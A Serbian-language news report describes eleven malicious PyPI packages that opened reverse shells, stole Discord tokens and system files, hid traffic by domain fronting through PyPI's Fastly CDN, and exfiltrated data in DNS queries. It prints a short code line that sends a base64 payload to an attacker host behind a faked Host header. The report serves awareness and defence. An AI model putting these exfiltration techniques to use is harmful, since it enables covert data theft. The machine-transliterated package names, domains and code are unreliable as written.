У ПиПИ каталогу су идентификоване злонамерне библиотеке које користе ПиПИ ЦДН да сакрију комуникациони канал

У директоријуму ПиПИ (Питхон Пацкаге Индек) идентификовано је 11 пакета који садрже злонамерни код. Пре него што су проблеми идентификовани, пакети су укупно преузети око 38 хиљада пута. Откривени злонамерни пакети су познати по томе што користе софистициране методе за сакривање комуникационих канала са серверима нападача.

• важан пакет (6305 преузимања), важан-пакет (12897) - успоставио везу са спољним сервером под маском повезивања на пипи.питхон.орг да би обезбедио приступ љусци систему (обрнута љуска) и користио програм треворц2 да би сакрио комуникациони канал.
• пптест (10001), ипбоардс (946) - користи ДНС као комуникациони канал за пренос информација о систему (у првом пакету име хоста, радни директоријум, интерни и екстерни ИП, у другом - корисничко име и име хоста) .
• овлмоон (3285), ДисцордСафети (557), ииффпарти (1859) - идентификовали су токен услуге Дисцорд у систему и послали га спољном хосту.
• тррфаб (287) - послао идентификатор, име хоста и садржај /етц/пассвд, /етц/хостс, /хоме спољном хосту.
• 10Цент10 (490) - успоставио обрнуту везу љуске са спољним хостом.
• иандек-ит (4183) - приказао је поруку о компромитовању система и преусмерио на страницу са додатним информацијама о даљим радњама издатим преко нда.иа.ру (апи.иа.цц).

Посебно треба истаћи метод приступа спољним хостовима који се користи у пакетима важан пакет и важан пакет, који су користили мрежу за испоруку садржаја Фастли која се користи у ПиПИ директоријуму да би сакрила своју активност. У ствари, захтеви су послати на сервер пипи.питхон.орг (укључујући навођење имена питхон.орг у СНИ унутар ХТТПС захтева), али ХТТП заглавље „Хост“ је укључивало име сервера који контролишу нападачи (сек. форвард.ио. глобал.прод.фастли.нет). Мрежа за испоруку садржаја послала је сличан захтев нападачком серверу, користећи параметре ТЛС везе на пипи.питхон.орг приликом преноса података.

ПиПИ инфраструктуру покреће мрежа за испоруку садржаја Фастли, која користи Варнисх транспарентни прокси за кеширање типичних захтева, а такође користи обраду ТЛС сертификата на ЦДН нивоу, уместо на крајњим серверима, за прослеђивање ХТТПС захтева преко проксија. Без обзира на циљни хост, захтеви се шаљу проксију, који одређује жељени хост користећи ХТТП заглавље „Хост“, а имена домена хоста су везана за ИП адресе ЦДН балансера оптерећења које су типичне за све Фастли клијенте.

Сервер нападача се такође региструје на ЦДН Фастли, који свима пружа бесплатне планове, па чак и омогућава анонимну регистрацију. Важно је напоменути да се за слање захтева жртви приликом креирања „обрнуте љуске“ користи и шема, али иницирана са стране домаћина нападача. Споља, интеракција са сервером нападача изгледа као легитимна сесија са ПиПИ директоријумом, шифрованом помоћу ПиПИ ТЛС сертификата. Слична техника, позната као „предмећење домена“, раније је активно коришћена за сакривање имена хоста приликом заобилажења блокирања, користећи могућност која се пружа у неким ЦДН мрежама за приступ ХТТПС-у навођењем фиктивног хоста у СНИ и стварно преношењем имена захтевани хост у заглављу ХТТП Хост унутар ТЛС сесије.

Да би се сакрила злонамерна активност, пакет ТреворЦ2 је додатно коришћен да интеракција са сервером буде слична редовној веб навигацији, на пример, малициозни захтеви су слати под маском преузимања слике „хттпс://пипи.питхон.орг/имагес/ гуид=” са кодирањем информација у параметру гуид. урл = "хттпс://пипи.питхон.орг" + "/имагес" + "?" + "гуид=" + б64_паилоад р = рекуест.Рекуест(урл, хеадерс = {'Хост': "псец.форвард.ио.глобал.прод.фастли.нет"})

Пакети пптест и ипбоардс користили су другачији приступ за скривање мрежне активности, заснован на кодирању корисних информација у упитима до ДНС сервера. Злонамерни софтвер преноси информације извршавањем ДНС захтева као што је „ну4тимјагк4фимбухе.екампле.цом“, у којем су подаци који се преносе контролном серверу кодирани коришћењем басе64 формата у имену поддомена. Нападач прима ове поруке тако што контролише ДНС сервер за домен екампле.цом.

Извор: опеннет.ру